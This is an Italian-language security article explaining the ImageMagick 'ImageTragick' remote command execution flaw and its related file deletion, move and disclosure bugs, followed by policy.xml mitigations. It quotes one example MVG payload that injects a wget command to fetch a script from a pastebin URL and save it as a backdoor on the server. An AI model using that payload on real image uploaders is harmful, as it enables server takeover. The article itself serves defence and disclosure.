Punti chiave
ImageMagick è un popolare software utilizzato per convertire, modificare e manipolare le immagini. Ha librerie per tutti i linguaggi di programmazione comuni, tra cui PHP, Python, Ruby e molti altri. È anche molto semplice da usare, questo lo ha portato ad essere utilizzato da molti sviluppatori quando necessitano di opzioni di ritaglio dell’immagine o manipolazione di foto.
È anche possibile utilizzare ImageMagick per aggiungere annotazioni di testo alle immagini, ad esempio con l’aggiunta di una barra grigia nella parte inferiore con un avviso di copyright; per eseguire la correzione automatica del colore; per affinare la messa a fuoco di una serie di immagini; per la produzione di GIF animate per siti web; e altro ancora.
ImageMagick supporta anche diversi linguaggi di scripting come MSL (Magick Scripting Language) e MVG (Vector Graphics Magick), che consentono di descrivere le immagini, in entrambi i formati pixel-based e vettoriali.
Tuttavia, le ultime versioni di ImageMagick non filtrano correttamente i nomi dei file che vengono passati alle funzioni che gestiscono i protocolli esterni (come HTTPS). Questo permette a un attacker di eseguire i comandi a distanza caricando un’immagine. Il che porta ad una vulnerabilità RCE completa (esecuzione di comando remoto) nell’uploader di immagini. La vulnerabilità è così grave che i ricercatori hanno creato un divertente nick name più facile da ricordare al posto del codice CVE-2.016-3.714 ovvero ImageTragick.
Come funziona il bug ImageMagick
La vulnerabilità è molto semplice da sfruttare, un attaccante ha bisogno solo di uno strumento: l’uploader di un’immagine per fare leva sul codice di ImageMagick. Ci sono molte applicazioni web popolari e prodotti SaaS vulnerabili. Purtroppo, anche con tutta l’attenzione dei media, non tutti sono a conoscenza di questo problema.
Approfondendo questa vulnerabilità può effettivamente essere divisa in 4 diverse fasi, come ha spiegato molto bene Karim Valiev dal team Security Mail.Ru in questa discussione.
- Esecuzione di un comando a distanza attraverso upload di file MVG / .svg . Tramite un file un aggressore può forzare un comando di shell da eseguire sul server. Questo è un esempio molto semplice di come può funzionare:
immagine su 0,0 1,1 'url (https: "; wget" http://pastebin.com/raw/badpastebin "-O /home/vhosts/file/backdoor.pl")'
Quando viene aggiunto un file MVG, il comando wget viene eseguito e l’output del file salvato su pastebin in backdoor.pl.
- Cancellazione del file remoto. Quando si utilizza il pseudo protocollo “ephemeral:/” un utente malintenzionato può rimuovere i file sul server
- Spostamento di un file remoto: simile alla sua eliminazione, ma quando si utilizza il pseudo protocollo ” MSL: / “, l’attaccante può spostare i file
- La divulgazione dei file contenuti nel server quando si utilizza il protocollo ” label: @ “.
Quando si combinano tutti questi bug, gli attaccanti hanno una vasta gamma di opzioni e strumenti per compromettere una applicazione web che sfrutta ImageMagick. Si noti che solo il filtraggio per l’estensione MGV non è sufficiente, in quanto qualsiasi formato di file verrà ispezionato e il comando eseguito.
Si fa notare inoltre che altri strumenti IDS non rilevano e questo problema.
Come proteggere il vostro sito
Gli utenti dietro un WAF (Web Application Firewall) sono già protetti contro questa vulnerabilità, ma si consiglia comunque a tutti di seguire le raccomandazione degli sviluppatori ImageMagick e di modificare il file /etc/ImageMagick/policy.xml e disabilitare l’elaborazione delle MVG, HTTPS, EPHEMERAL, e MSL.
Nella parte seguente, aggiungere le righe:
<policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" />
Se non è possibile effettuare tali modifiche, disabilitare immediatamente la funzionalità di caricamento delle immagini, fino a quando è possibile patchare correttamente. Meglio prevenire che curare.
Questo articolo è stato redatto seguendo le indicazioni fornite da Sucuri Security, Sophos, e ImageMagik. Qualsiasi novità verrà aggiunta a questo post aggiornandolo. Potete anche chiedere informazioni più specifiche o altri aiuti, per quello che possiamo aiuteremo a capire meglio questo pericolosa vulnerabilità.